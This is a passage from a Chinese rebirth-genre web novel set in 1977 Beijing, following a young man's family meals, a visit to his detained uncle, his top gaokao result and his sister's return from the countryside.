“尝尝小远做的鲤鱼,我觉得味道应该不错,你们两口子别客气啊,趁热吃。”高跃民说完,提起筷子先夹了个鱼片放进嘴里咀嚼着。 鱼片吸收了酸菜的酸味和胡椒粉的辛辣,酸辣鲜的味道立刻征服了他的味蕾。 他又喝了两勺汤,更觉鲜美无比。 高跃民冲高远竖起了大拇指,说道:“跟你张叔没白学,这手艺地道了。” 王立伟和李凤芝也吃了几片鱼肉,都称赞高远厨艺了得。 高远谦虚道:“您几位过奖了,喜欢吃这简单啊,反正考完试我在家闲着也是闲着,只要天儿好,我就去钓鱼,钓上来后多做几回就是了。” 王立伟对钓鱼这项运动也很感兴趣,他说道:“找个礼拜天,我跟你一起去。对了小远,你这鱼从哪儿钓的?” 高远也没瞒他,说道:“从后海。” “我说呢,也就是后海的水质清澈,鱼的生长环境得天独厚味道才能如此鲜美,要是从护城河、通惠河里钓上来的鱼,腥味就很重了,怎么做都不好吃。”王立伟说着,又拿起勺舀了点汤送进嘴里。 高远笑笑,端起酒杯跟他碰了一个,又喝了一口。 一顿饭吃得四人满嘴流油心满意足。 满满一大碗鱼肉被吃了个一干二净,酸菜和鱼汤也进了四人的肚皮,更别说凤芝嫂子端过来的两盘下酒菜了。 还有鱼籽,高远全夹给父亲了。 跟高远约好了周末去钓鱼,眼看时间不早了,王立伟两口子告辞离开。 次日一早,高远醒来。 老爸去上班了,无论刮风还是下雨,晴天或是阴天,他都雷打不动地早晨五点半出门。 高远很佩服老爸对待工作兢兢业业、勤勤恳恳的优秀品质。 起床穿好衣服,他照旧先去院子里洗漱一番,回到屋里端起尿盆出门倒了,顺便上了个大号。 神清气爽。 这个点儿是不需要排队的。 一大早赶着出门上班前,公共厕所门口才叫热闹。 大家排着长队耐心等候,赶上在里面蹲坑的稍微耽搁一会儿,外面的人憋不住了,喊口号的,叫骂声就起来了。 里面外面对着骂几乎每天都在上演着,跟一出闹剧似的。 要不怎么说,高远在胡同里住够了呢,上个厕所都不方便。 有些年代文里说,趁着6、70年代物价便宜,抓紧挣钱买四合院,等将来院子一升值转手卖了,主角这辈子就吃喝不愁了。 纯扯淡的好吗? 首先说,这个年代大多数四合院都是公家财产,私人宅院太少了,即便有,也不允许私下里进行交易。 其次,你去问问老Bj人,有几个是愿意一辈子住在胡同里的? 甭较真儿说什么住四合院接地气儿,是一种情怀伍的。 三十年后,政府的腾退政策一出来,被纳入到拆迁范围的本地土著,飞蛾扑火一般拿着房契、地契涌入房管所进行登记。 生怕去晚了就分不到好楼层了。 这才是老Bj人对待四合院的态度。 有抽水马桶和独立厨房用,谁也不愿意共用厨房,挤公共厕所,每天一早还要倒尿盆。 对了,王菲也倒过尿盆。 这说明,她晚巴垧也是会起夜的。 言归正传。 高远拉了泡好屎,心情愉快地回到了院子里。 刷了尿盆后他就无所事事了。 往三抽桌前一坐,他开始考虑起自己能做些什么来。 再有一个月,高考成绩才会公布,在这一个月里,自己总不能闲着吧。 他原本打算等高考成绩出来后再实施下一步的计划。 现在他却改变了想法,进度表得提前了,要不然真就闲的长毛了。 写点什么东西呢? 高远首先排除了写短篇小说,写散文、诗歌这个选项。 原因很简单,无论是短篇,还是散文、诗歌,数字太少,赚不了多少钱。 其次,大长篇也不成,因为字数太多,费时费力不说,当前也没有几家报社或者杂志愿意刊登。 那么,留给他的就只有写剧本这一个选项了。 准确地说,不是写,是抄。 高远上辈子读书多,看过的电影也多,对于一些经典作品,他记忆犹新。 他对抄袭后世的经典影视作品也没啥愧疚感。 不当文抄公,不就白重生了吗? 不过,在这个时代里,抄点啥剧本合适呢? 《庐山恋》? 不行,这部电影虽说内核够硬,但有爱情故事,怕是在今、明两年通不过审查。 《苦恼人的笑》? 也不行,这片子有对文革时期被迫害人群的详细描写,虽说在这个年代中电影尺度大得惊人,但出于谨慎的考虑,高远还是将其pass掉了。 《保密局的枪声》? 这倒是一个好故事,高远将它列为备选,但觉得现在还没到把这部片子拿出来的时候。 他有点犯愁了,找到一个符合这个时代风貌,不脱离实际,又有可看性,让广大人民群众喜闻乐见的剧本简直太难了。 抬头看看墙上的挂钟,一晃神儿的工夫都快十点了。 高远干脆不想了,起身奔厨房,又拿来斧头对准满桶冰疙瘩咣咣一顿凿。 敲开冰面捞出一条黑鱼,六七尾三两多重的鲫鱼,用几张报纸包严实了,找个网兜往里一放,出门去纺织厂找小姑。 “大爷,忙着呢。”纺织厂门口传达室,高远摸出半包前进烟递给看门大爷一根。 大爷一瞧又是他,咧嘴一乐,接过烟来叼上,说:“不忙,又来找你小姑啊,先给我点上,我再帮你喊人。” 高远也叼了根,掏出火柴盒擦着了一根,先给大爷点了,自己也点上,摇了摇,火苗熄灭,往地上一扔,笑道:“给您添麻烦了。” “你小子还算懂事儿,不像有些小年轻,眼里没人。等着,我给生产车间摇个电话,让你小姑出来一趟。” 大爷一看就是性情中人,拿了好处是真办事啊,说完后就把手放在了话筒上,摇把子都快摇出火星子来了,接通后大声说道:“三车间吗?叫高跃然同志来大门口一趟,有人找。 谁找她? 我他妈跟你汇报得着吗? 赶紧的,耽误了领导的事情,小心领导让你吃不了兜着走!” 说完,他干脆利落地挂断了电话,还冲高远眨眨眼。 高远哈哈大笑,这大爷,有个性,还挺哏儿,竟然敢打着领导的旗号谎报军情,服了! 他把剩下那十多根烟轻轻放在窗户后面的桌子上。 大爷会意,拉开抽屉,手一扫,半包烟就扫进了抽屉里。 这事儿没少干呐,动作太熟练了。 高远又乐得不行了。 高跃然一路小跑着来到大门口的时候,定睛一瞧,自家大侄儿正在跟传达室的齐大爷扯闲篇儿,一老一少不知道说了些什么,齐大爷笑得两道眉毛都不一边齐了。 高跃然却心里憋气,这家伙,搞什么搞? 胆子也太大了,居然敢冒充领导。 她走过来,伸手揪住高远的耳朵,面带怒色训斥他道:“臭小子,胆儿肥了啊,连领导你都敢冒充,想死啊你?” 高远哎哟一声,扭头见是小姑,连忙解释道:“不怪我,真不怪我,小姑,你借我三个胆子我也不敢冒充领导啊。大爷,您快帮我解释解释啊,冤死我了都。” 大爷朗声大笑,止住笑声后对高跃然说道:“松开手吧丫头,这事儿不怪他,打着领导的旗号把你喊来的是你大爷我,跟你侄子无关,你冤枉他了。 大爷就是觉得你们那个车间主任有点装,我不愿意跟他费那个事,这才谎报军情把你骗出来的。” 第14章 探望大伯 听完齐大爷的话,高跃然立马松开了手。 高远搓着发红的耳朵,愤愤不平道:“小姑您也太狠了,我好心好意给您送鱼来,一句表扬没得到不说,反而被您揪着耳朵骂了一顿,我图啥啊?脑袋有坑吧我?” 高跃然脸红似霞,揉着大侄儿的耳朵,心疼道:“远子,姑错了还不成,姑误会你了……都怪齐大爷,扯着虎皮当大旗。” 齐大爷不以为意,嘿嘿一笑,“丫头,回头来你大爷屋里,大爷给你烤白薯吃,权当是给你赔礼道歉了。” 高跃然红着脸说道:“齐大爷,您别客气了,我得谢谢您,要不是您,我们车间主任肯定不会放我出来的,您也知道,厂里这段时间,生产任务特别重。 没有特殊情况,主任是不允许我们请假的。” 齐大爷摆摆手,没再说啥,他本就讨厌三车间的主任总是摆出一副天大地大老子最大的做派来。 高远把网兜一亮,对小姑说道:“我真钓到鱼了,不老少呢,给您拿来一条黑鱼,七条鲫鱼,您好好补补身子。” 高跃然难为情地说道:“远子,小姑先谢谢你了。但是小姑忘记跟你说了,姑住的是集体宿舍呀,你把鱼送过来,姑也没地方做着吃。 要不这样吧,你拿回去炖了,小姑中午回家吃饭。” 得,忘记这茬了,白跑了一趟。 高远爽快地说道:“成啊,刚好我回去后得再炖一锅给我大伯送过去,干脆一起炖出来,等您回家吃现成的。” 高跃然说声好,细心地给侄子整理一下军大衣领子,竖起来,盖住耳朵,捂得严实一些,嘱咐道:“路上慢点走啊,看着点儿自行车。” 高远嘿嘿笑道:“放心,我又不是小孩子了,拎着网兜也走不快。等您回家吃饭啊。” 他用时二十分钟走回到新开路胡同家里。 然后麻利地收拾鱼。 八条鲫鱼熬汤,一条黑鱼垮炖。 蒸了一锅米饭,又炒了一个白菜帮,酸辣口的。 饭做好后,刚过十一点半钟。 他盛了碗米饭,又把鲫鱼汤、炖黑鱼和炒白菜帮分别装到三个铝制饭盒里,刚出门,小姑也到家了。 “小姑,鱼和菜都在锅里呢,我给大伯送饭去,您先吃,不用等我。” “小远,我跟你一起去。” 高远想想,点点头,说道:“成,那就一起去吧,但是小姑,我得嘱咐你一句啊,见了大伯,您千万别激动,不该说的话一句也不要说。 您得知道,大伯正在关键时候,这时候家人哪句话说错了,对大伯来说就危险了。 您得克制自己的情绪,见了大伯,您多笑,多说些宽慰的话,千万不要增添大伯的思想负担,别让他为咱们担心。” 高跃然看着他,点头道:“小远你放心,我知道啥话能说,啥话不能说。” 两人拎着网兜出门,出了胡同,直奔市委党校而去。 高跃华说是住牛棚,其实没那么惨。 市委党校,在这个特殊的年代中被改造成了五七干校。 它坐落在西城区车公庄大街。 高远姑侄俩乘公交车过来,在戒备森严的门卫处接受了严格的检查,说明了要探访的人员,所带物品全被翻出来看了一遍,这是怕里面夹带不该有的东西,然后报上姓名登了记才获准入内。 这年头,不论是黑五类分子,还是被打成右派的老革命,他们虽然都被隔离审查了,但每周还是能见到亲人一次的。 高远和小姑被工作人员带到一间小屋门前。 这小屋门口站着两名看守的战士,一左一右笔直地站立着。 屋里还有一名战士,这是预防被看守人想不开,寻短见自杀的。 高远见怪不怪,也不搭理两名战士,推开门走进去。 高跃华端坐在书桌后面,正在书写着材料。 听到门响,他毫无波澜,充耳不闻,仍旧埋头于稿纸间奋笔疾书。 屋里倒是很暖和,炉子里的蜂窝煤燃烧,发出噼啪的响声。 高远从后面看大伯,发现大伯的腰没有弯,他披着一件黑色毛料大衣,腰杆笔挺。 大伯仍旧维持着他那倔强的自尊。 看得高远鼻头一酸。 他见小姑也红了眼眶,连忙拉她袖子一下,低声嘱咐道:“可不能哭啊,七七四十九拜都过来了,不差这一哆嗦了。” 高跃然点点头,低头抹了把眼泪。 高远慢悠悠踱到高跃华身后,大喊一声:“伯!” 高跃华手中的钢笔嘡啷就掉在了稿纸上,他扭过头来,见是这小子,五步开外还站着自己小妹,推推老花镜,板着脸说道:“浑蛋玩意儿,我心脏病差点儿被你吓出来。 多大个人了,还这么不着调。 小妹,快来,来让大哥好好看看。” 高跃然快步走过来,紧紧握住高跃华的手,动情道:“大哥,还好吧?” 高跃华笑着说:“好,好得很!我瞧你这精气神也不错啊,工作不累吧?坐下聊坐下聊,你俩都别傻站着了。” 那小战士挺有眼力见,主动从桌子前面绕出来,将靠墙的一米二小窗让了出来,伸手请二人落座。 高远打量一眼这间屋子,陈设很简单,一桌、一椅、一张床,除此之外别无他物。 雪白的墙面上贴着标语。 坦白从宽抗拒从严、深挖反动思想根源,以积极严肃的态度向组织坦白一切什么的。 还有高跃华自己写的汇报材料,也被贴了整整一面墙。 高远没着急坐下,他走到床边,看着面黄肌瘦的大伯,把网兜放在桌子上,取出铝盒打开,轻声说道:“大伯,鱼是我炖的,菜是我炒的,都还热乎着,您赶紧吃一口吧。” 高跃然拿了双筷子用热水冲了冲,递给大哥。 高跃华接过来,看看高远,拉开椅子坐下后笑着说:“你小子出息了,都学会做饭了。” 他凑近饭盒闻了闻,又夹了点鱼肉送进嘴里,称赞道:“嗯,味道相当不错。” 高远把饭盒往他跟前推了推,“爱吃您就多吃点,都是给您带的,您全部消灭掉,就是对我手艺最大的认可了。” 高跃华又笑了,他把米饭端起来,浇上点鱼汤,又夹了条鲫鱼放进饭盒里,边吃边问道:“然然,工作忙不忙?” 高跃然这才在床沿边坐下,向大哥汇报道:“最近这段时间生产任务还是比较重的,倒也累不着。对了大哥,我和小远,还有远在北大荒的小雅都参加了今年的高考。” 高跃华闻言放下了筷子,“哦?好事儿啊这是,这么说,咱老高家今年能出两个大学生了?” 高远闻弦歌而知雅意,立马不乐意了,“大伯您这是看不起谁呢?合着就没把我算在里面是吧?” 高跃华精神状态不错,撇着嘴说道:“就你那稀烂的成绩,参加高考也是个凑数的,我信你能考上大学,都不如相信夜猫子晚上不会叫。” 高跃然笑得腰都弯下去了。 高远眼珠儿一转,说道:“大伯,要不要打个赌啊。” “嘿!将我军是吧?我还真就不信了,你说吧,赌什么?” “我要是考上大学了,您把您那件将校呢大衣赏给我呗。” “哈哈哈哈……你小子惦记很久了吧?成,只要你能考上大学,大伯就把我那件将校呢大衣送你了。但你考不上呢?怎么说?” “等您解放了,想吃啥侄子给您做啥,连做一个月,成不?” 高跃华笑呵呵说道:“就这么办吧。” 他知道侄子是在宽他的心。 解放? 要等到猴年马月去哟。 高远往前凑了凑,低声说道:“大伯,您别灰心,您是三八年的老革命,从参军起就没脱离过队伍,说您有问题,纯属瞎扯淡,说您是叛徒,纯粹是瞎胡闹。 我相信,您的问题用不了多久就会搞清楚的,您要相信组织……” 话刚说到一半,站在旁边的小战士咳嗽了一声,提醒道:“小高,说话注意分寸啊。” 高远冲他点点头,礼貌地笑了笑,识趣地闭口不言了。 高跃华有点吃惊了,他没想到这个平日里调皮捣蛋的侄子竟然会有这番见解,“小远,大伯都快不认识你了,咱爷儿俩上次见面是一个月以前吧? 你这段时间变化有点大啊。” 高远心说,我要是跟您说,我来自于40多年后,您敢相信吗? 高跃然看出了高远的窘迫,她笑着说道:“大哥,小远这段时间表现得确实很好,像是变了个人似的,我二哥、二嫂也说过,这小子,仿佛一夜之间长大了。” “长大了好啊,长大了好!我们高家的男子汉,就应该顶天立地,应该承担起男子汉应有的责任来。”说完,高跃华的情绪有些低落了。 高远清楚,大伯这是想起自己那个不争气的堂哥了。 关于堂哥,高远还真没办法说些什么。 虽然在他看来,那家伙就是个人渣,但他怎么说都是大伯唯一的儿子,自己再厌恶他,也不能当着大伯的面说三道四的。 他转了个话题道:“大伯,再告诉您一个好消息,我爸已经接到学院的通知,马上就要恢复工作了。” 听了高远的话,高跃华满怀欣慰道:“天大的好事情,咱们一家人,总会熬出头的。小远,代大伯转告你爸,恢复工作后要一心扑在事业上,兢兢业业、任劳任怨地把教学工作做好,多给国家培养一些优秀人才。” 高远点头说道:“我记下了,大伯放心,我一定把您的话带到。” 这时候,小士兵又提醒道:“二位,会见时间到了,请离开吧。” 高远和小姑站了起来,他对大伯说道:“饭盒就留在这儿吧,下次我过来再拿回去。您多吃点啊,吃饱了才有力气写材料。” 高跃华也站起身,拍拍侄子的胳膊,笑着说:“你小子不用替大伯担心,大伯体壮如牛,这点风波打不倒你大伯。” 高跃然姑侄俩依依不舍地向高跃华辞行。 第15章 京城状元的诞生 日子就这么波澜不惊地过。 往后的一段时间里,高远还是没想到该创作点什么。 利用这段平静的时光,他倒是没少去钓鱼。 隔三岔五自己去,到了周末就拉上立伟哥一起去。 老爸也跟着去了两次,每次收获都不小。 高远也见过李红军等人几次,彼此之间越聊越亲热,关系也突飞猛进地发展着。 但高远没再见过肖卫红,问李红军,李红军也说有日子没见过她了。 这让高远有点看不透这姑娘了。 就在他沉浸在钓鱼、休息,闲来无事给老爸、小姑做做饭,给大伯送送饭的这段美好时光里时,高考语文阅卷组的各位老师们却在为两篇高考作文各执己见、争论不休。 这两篇作文有一个共同的名字,叫《我在这战斗的一年里》。 但内容却是截然不同的。 一个是描写知青岁月的,一个是描写高考备战的。 老师们争议的点也在这里。 “首先不能否认的是,这两篇文章都很优秀。”语文阅卷组组长赵培杰说道。 “文笔出色,言之有物。刘学红同学这篇作文,联系生活实际,描写了她在农村的生活,生动形象地反映了农民群众的真实情况。 我认为,刘同学这篇作文是符合《人民x报》的刊登标准的。”沈老师说道。 “我不同意沈老师的意见,当然,我也不是说刘同学这篇作文不够好,我只是觉得大家对于‘好’的评判标准始终没有统一起来。 高远同学这篇作文不优秀吗? 我觉得特别优秀,他站在了一名应届毕业生的角度去描写如何去克服学习中的困难,如何在得知高考恢复后的消息后刻苦复习。 这给广大考生带来一个非常积极、正面的模范带头作用。 让考生们知道,知识是能够改变命运的。 不夸张地说,作为应届毕业生,高远同学在学习上的努力,对知识如饥似渴的求知欲,和端正的学习态度,完全有资格成为广大考生中的标杆人物。 并且你们看他的遣词造句,没觉得很有层次感吗?”李老师抖着高远的试卷义正言辞。 其余各位阅卷老师开始交头接耳。 赵培杰深深叹了声气,沈老师和李老师已经争执了小二十分钟了,沈老师是挺刘派,李老师是挺高派,观点相左,谁也说服不了谁。 都是《人民x报》闹的。 好么秧地,你们选什么优秀作文,登什么报纸啊? 这不是故意给阅卷工作增加难度么。 赵培杰心里有意见,却也知道胳膊拧不过大腿去。 可以想见,刘学红和高远,无论哪位同学的作文被《人民x报》刊载了,必有一人会得到巨大的社会关注度和热度。 在这个大家把荣誉看得比天大的年代中,一个学子写的作文被报纸刊登了,对他们而言,不仅仅是获得了荣誉那么简单,那真就是改变命运了。 见老师们还在辩论,赵培杰脑瓜子嗡嗡响,他似乎下定了决心,一拍桌子说道:“都别争了,再争论下去也没个结果。这样吧,把这两篇作文都推荐给《人民x报》编辑部,至于他们采用哪篇,让他们自个儿决定去!” 沈老师哼了一声,说道:“您可真会和稀泥!” 赵培杰狠狠地瞪了她一眼,不会说话就闭上你那张嘴! 李老师笑着说:“说不定两篇都会被采用呢。赵老师,还有一个问题,这两篇作文,我们如何打分啊?” 赵培杰淡淡地说道:“都给99分吧。” 大家都认可地点点头。 实在是这两篇作文的质量太难分高下,难以取舍了。 平衡大法,在这一刻露出狰狞。 三天后就是元旦佳节。 这天中午,高跃民蹬着28大杠,带着张雪梅兴冲冲回到了家。 老妈手里拿着张《人民x报》,一进院子就大声喊道:“远子,小远子,你的高考作文上报纸啦!你在屋没啊?” 这一嗓子,把刘前进两口子都从屋里喊了出来。 刘婶走上前,问道:“雪梅你刚才说什么?谁的作文上报纸了?” 张雪梅眉开眼笑道:“还能有谁,我家小远呗。” 说着,她把报纸翻开,送到刘婶眼前,又道:“看见没,就这篇,《我在这战斗的一年里》,名字是高远,小远写的作文被《人民x报》全文刊登。 能上《人民x报》的高考生,迄今为止全国也才有两个啊。” 刘婶看了眼,一个字儿都不认识,还给张雪梅添堵道:“不会是重名的吧?” 张雪梅真想踹她一脚,好心情全被这个老刁婆破坏了。 她把报纸收起来,瞪老刁婆一眼,气呼呼说道:“不会说话就闭上你这张臭嘴!也别用怀疑一切的态度给我添恶心! 你以为我家远子像你家老二似的不学无术,就知道钻女人的裤裆啊? 我家远子优秀着呢! 明跟你说,这张报纸是报社编辑部的同志亲自送到孩儿他爸单位里去的,高考阅卷组的老师们也证实了,这篇作文就是我家远子写的。 以小人之心度君子之腹,算了,我也懒得跟你计较了! 差点儿忘了,你是个文盲,大字不识一个,这报纸,给你看了也白看!” 刘婶被张雪梅这番机关枪一般的话气得脸通红。 刘前进低声说了句:“老高家的,这话说得过分了。” 张雪梅冷哼了一声,懒得理他。 支好自行车的高跃民板着脸大声说道:“雪梅,你跟两个文盲有啥好显摆的,赶紧回屋里来。” 这时候,高远也打着哈欠推开门走出来。 他刚好听到了老妈那番话。 高远乐了,之前没瞧出来,老妈有点戏精人格啊。 自己这嘴皮子不饶人的性格,百分百是随了老妈。 张雪梅又狠狠瞪了刘婶一眼,裹了裹大衣,转身走到屋门前。 一见大儿砸,张雪梅就乐不可支了,“小远,好样的!这回你可真给妈争脸了!” 高远抱住老妈,心如止水,脸上却阳光灿烂,道:“基本操作罢了,不至于这么大惊小怪的哈,哎呀您浑身都冻透了,咱回屋说,屋里暖和。” 一家三口掀开棉门帘子,进了屋。 高远给父母倒了两杯热水递到二老手中。 张雪梅把搪瓷缸子接过来放在桌子上,又展开报纸让儿砸看一眼,骄傲地说道:“我儿厉害了,作文都能上《人民x报》了。你不知道啊,你爸一上班,报社的编辑就找了过去,把报纸给你爸看了后,你爸都傻眼了。 一个劲儿问人家,这真是我儿子写的? 见你爸不信,那编辑就拿出了高考语文阅卷组的推荐信。 信上面有你的姓名,高考报名号和报考科目,你爸看了后才确信这作文是你写的。 你爸给我在的村子支部打了电话后,我就着急忙慌回来了。 混小子,你是咱家第一个被报纸刊登文章的人,爸妈给你庆庆功。” 高远咧着大嘴喜不自胜。 “好小子,不错!”高跃民喝了口开水,放下杯子后拍着高远的胳膊,笑容满面道:“我再跟你透露个好消息,今儿一上午,找我的人就没断过,北大、清华、人大,还有明珠市的复旦,津城市的南开,都给我打来电话,邀请你去他们学校就读本科。 北大和清华招生办的老师还特意找上了门,让爸回来做你的思想工作呢。 虽说这年头上大学不用自个儿掏钱,但两位老师都给了承诺,正式复课的十六个专业随你挑。 还有啊,我们学院党委书记知道你的成绩后,也厚着脸皮让我问你,愿不愿意去钢铁学院就读? 爸当场就给他拒了! 做什么美梦呢?我儿子可是北大清华都在争取的对象,你一个钢铁学院,怎么配得上我儿子的才学啊? 儿砸,爸从来没感觉到如此的扬眉吐气。 就像你妈说的,你给爸妈争大面子啦!” 别说重生后了,上辈子高远也没听父母一口气说过这么多话啊。 看着父母兴高采烈的样子,高远也有点激动,重生一次,还有什么比让父母开心更重要的呢? 答案是:没有了。 一手挽着父亲,一手挽着母亲,高远笑着问道:“这么说,我是今年的高考状元?” 高跃民点点头,笑道:“清华北大两所高校的老师都证实过了,你今年的高考成绩总分是387分,是当之无愧的京城市高考状元。 并且你也开了高校录取的先河,要知道,之前,报哪所大学,分数线达标后就得上哪所大学。 你小子成绩一出来,立刻成各大高校竞相争取的香饽饽了。 这是前所未有的。” “高考前我就跟您说嘛,您可别小看您儿砸,我虽说调皮捣蛋了些,但我聪明啊,我稍微学学,就比其他埋头苦读的同学们强。”高远大言不惭。 “对,我儿子最聪明了。你这高考成绩一出来,连你爸都跟着沾光了,今天上午学院领导正式找你爸谈过话了,让你爸明天一早就回学院里报到,并且正式邀请你爸参与到考生录取的工作中去。”张雪梅又放出一颗卫星来。 还没等高远对老爸表示祝贺,从外面传来了一个声音:“爸、妈、小远,你们在家吗?” 高远听到声音,心里一哆嗦,噔噔噔跑过去,开了门,挑起门帘子,一瞧,热泪盈眶:“姐,你可算是回来啦!” 第16章 姐姐回来了 “姐回来了。”跟弟弟四年没见过面了,看着高大帅气的弟弟,高雅也有些激动,说话带上了颤声。 高远快步走到她面前,一把将姐姐搂进怀里。 一想到上辈子和姐姐的疏离,他心里一阵隐隐作痛。 猛地被弟弟搂进怀中,高雅脸都红了,手里的挎包掉在地上。 感觉到后脖子上有泪珠滑落,高雅这才伸手在高远的后背上拍了拍,轻声说道:“好了好了,大小伙子了,还噼里啪啦掉泪珠子,丢不丢人呀。” 高远抹了把泪,把头从姐姐瘦弱的肩膀上正过来,破涕而笑,低声道:“姐我太想你了,真没忍住,也不想忍着。” 端详着弟弟英俊的面庞,高雅眼眶红红的,“姐也想你啊,无时无刻不在想。姐回来了,咱们一家人终于团圆了。” 爸妈也出来了。 高跃民抿着嘴,紧紧攥住张雪梅的手,不让她去打扰姐弟俩的浓情时刻。 张雪梅早已泪流满面。 一直到女儿从儿子的怀抱里“挣脱”出来,两口子才快走两步,来到女儿身前。 “小雅……”张雪梅喊了一声,泪水又止不住涌出眼眶。 高跃民嘴角虽然挂着笑,高远却发现,老爸的眼圈也通红一片。 “爸、妈,女儿回来了。”高雅向前跨出一步,一手牵着妈妈的手,一手牵着爸爸的手,眼泪止不住地往下流。 “回来就好,回来就好,丫头,这些年,你受苦了。”张雪梅抱着高雅语带激动道。 “雪梅,孩子刚到家,大冷的天儿,别让孩子在外面杵着了,咱去屋里说话吧。”高跃民平静下来,说道。 “对,妈,我姐这一路奔波,想必十分疲惫了,咱回屋,让我姐喝杯水,好好休息休息。”高远也说道。 张雪梅点着头,挽着高雅的胳膊笑着说:“回屋,回屋里咱娘儿俩好好说会儿话。” 高雅也笑着点头。 高远拎着姐姐的大挎包也跟着向南屋走过去。 “就没人关注我吗?我就这么不受待见?”这时候,又一个声音传了过来。 高远扭头一看,嘿,小叔! 高跃林也拎着个军绿色,上写:为人民服务的大挎包靠南墙站着,怎么看怎么不着调。 他这才想起来,当年上山下乡,小叔和姐姐是一起走的,去的也是同一个地方——龙江垦区。 当年上山下乡的政策中有这么一条硬性规定:非独生子女家庭,至少有一人要去农村接受贫下中农再教育。 于是,小叔去了。 高远还小,高雅就响应号召去了农村。 “小叔,我帮您拎包。” 高远见到小叔还是很高兴的,上辈子,若不是小叔带着他天南海北的闯,他被乔远南打压的真就只能在京城卖屁股勉强度日了。 走过去,高远从小叔手里接过挎包,掂了掂分量,还挺沉。 “还是你小子有眼力见儿,枉我没白疼你一回。”高跃林呲着牙乐。 他颧骨很高,两腮塌陷,眼眶乌黑。 高远一瞧就知道小叔这两年没少受罪,不觉鼻头一酸,险些又掉下泪来。 对于弟弟的归来,高跃民尽管很高兴,脸上却一点笑模样都没有。 尤其看了他这副松松垮垮的样子,更是气不打一处来,高跃民哼了声,不悦地说道:“杵那儿干嘛?晾给谁看呐?还不赶紧滚到屋里来。” 高跃林这辈子最怕二哥,满脑袋都是童年被二哥摁在地上揍的阴影,见二哥又耷拉脸了,他忙不迭说道:“哎,这就来了。” 屁颠儿屁颠儿向屋里走去。 高远乐得不行了,这就叫一物降一物,卤水点豆腐啊。 拎着两个大挎包进了屋里。 见老妈拉着姐姐的手坐在床边问着她这些年过得如何,日子苦不苦。 高远注意到姐姐原本俊俏的脸庞上如今布满了被岁月雕刻过的痕迹,艰辛的劳动,姐姐的脸都皴皮了,双手上也满是一道道触目惊心的口子。 都这样了,她跟母亲还报喜不报忧,说自己挺适应农村的生活,日子虽然过得紧巴了一点,但是通过这四年跟农民兄弟姐妹们的亲密相处,深切体会到了他们的不容易,也从他们身上学到了很多之前没学过的知识。 现在她完全理解了工农相结合的重要性。 高远心疼极了,放下挎包他把老爸拉到旁边,轻声说道:“爸,给我张日用品券,再给我拿三毛钱,我去供销社给我姐买点蛤蜊油抹抹手。” 他这么一说,老爸也向女儿的双手望了一眼,眼泪就有点控制不住了。 哪有当爹的不心疼闺女的。 他飞快地低头揉了揉双眼,抬起头后颤声说道:“咱爷儿俩分头行动,你去做饭,我去供销社给你姐买蛤蜊油。顺便把攒的肉票全用了,等我回来后,你给你姐做顿好吃的。” “也成,家里正好还有一条黑鱼,厨房里也有凤芝嫂子给的酸菜,我一起做了。” “好,今天咱家双喜临门,好好吃一顿不算过分。” “三喜临门,您恢复工作也算一喜。” 高跃民哈哈大笑道:“没错儿,三喜临门。” 说完,他去里屋拿了日用品券和钱出来,出门去供销社买东西了。 高远给小叔、姐姐倒了热水后,也去厨房里忙活起来。 一个小时后,酸菜鱼、土豆炖肉、酸辣白菜帮、白萝卜炖牛肉被端上了桌。 分量都很足,一家三口一个月的配给猪肉、牛肉被高远全用在这顿饭里了。 他一点都不觉得心疼。 姐姐太瘦了,用骨肉如柴来形容一点都不夸张。 小叔也是一副面黄肌瘦的样子。 高远不用问就能猜到,两人这些年在北大荒吃了太多的苦。 一家五口围桌而坐。 看着大碗里色香味俱全的菜,高雅又开始掉泪。 她已经不记得自己上次吃肉是什么时候的事情了。 北大荒之所以被称之为北大荒,是因为那大片的土地自古就是荒蛮之地。 那里荆棘丛生,沼泽遍布,风雪肆虐,野兽成群,人迹罕至。 恶劣的自然天气条件下,无论种植点啥成活率都很低。 当地的百姓别说吃肉了,能吃顿饱饭都是奢望。 面对这一桌子肉菜,感受到家人亲切的关怀,高雅再次控制不住激动的情绪,捂着脸嘤嘤而泣。 她一哭,张雪梅也跟着掉泪。 气氛有些凝重。 高远是最见不得女人哭泣的,他夹了一大块肉放进姐姐面前的小碗中,安慰道:“姐,再哭,肉都柴了。” 噗嗤。 “就你会搞怪。”高雅破涕为笑,又白了高远一眼,这才夹起肥瘦相间的肉块送进小嘴中。 她细嚼慢咽,眼睛一下就亮了,称赞道:“好吃哎,小远,你什么时候学会的这一手?味道绝了!” 小叔闻言也夹了块肉送进口中,咽下后冲高远竖起大拇指道:“肥而不腻,香味浓郁,就叫一地道!” 高远被夸得有点不好意思了,先回答姐姐的提问:“也没刻意学,就是跟大龙去他爸单位食堂里玩儿,见他爸手艺高超,请教了几次而已。” 接着又对小叔说:“咱们这四九城,马路不多,全是地道。” 小叔哈哈大笑起来。 老妈紧着往女儿的碗里扒拉肉,慈眉善目说着:“吃,多吃一些,瞧瞧你都瘦成什么样了,这段时间在家里,让你弟好好给你做几顿好吃的,赶紧把这弱不禁风的身子骨补起来。” 高雅嘿嘿笑着说:“我也吃不了多少肉,也担心饿久了,猛地吃顿好的,胃会受不了。妈您别给我夹了,让我的胃慢慢适应,好吧。” 高跃民点头道:“丫头这话说得对,人饿久了,是不能一次性多吃的,这会儿丫头和老三的胃动力不足,多吃,一下子吸收不了,更容易伤胃。” 当医生的张雪梅自然是知道这个道理的,“我这不是心疼孩子嘛,你俩别给我上课了。小雅、跃林,你俩慢慢吃,回来了,家里总不会缺你俩一口吃的。” 高远这时候才问道:“小叔,姐,你俩怎么这会儿回来了?垦区支部肯放人?” 高雅笑着解释道:“姐有把握考上大学,跟支部书记打了申请报告后,支部领导们经过研究,允许我提前回城。至于小叔……” 高跃林接过话茬:“我去医院开了张肝炎证明,拿给支部领导一看,几个领导吓坏了,生怕我把肝炎传染给其他知青,二话没说就给开了放行证,让我回家来治病。” 您才是真的高! 高远也冲他竖起了大拇指。 这年头儿,得了急性黄疸型肝炎真会死人的。 这病传染性极强,通过空气传播,由不得领导们不重视。 高跃民听了弟弟的话,没好气儿地哼了一声,说道:“你也就这点儿起子了,都快30的人了,一点都不着调,居然还干这些谎称患病糊弄领导借机回城的破事儿! 你怎么就不知道给你侄女、侄子做个好榜样啊? 你还有个当叔叔的样子吗?” 一听二哥又在说教,高跃林立马梗着脖子反击道:“二哥,您这话我就不爱听,合着就小雅是你亲闺女,我就不是你亲弟弟了是吧?你这也太双重标准了。 我也在北大荒待了四年,你知道我这四年是怎么熬过来的吗? 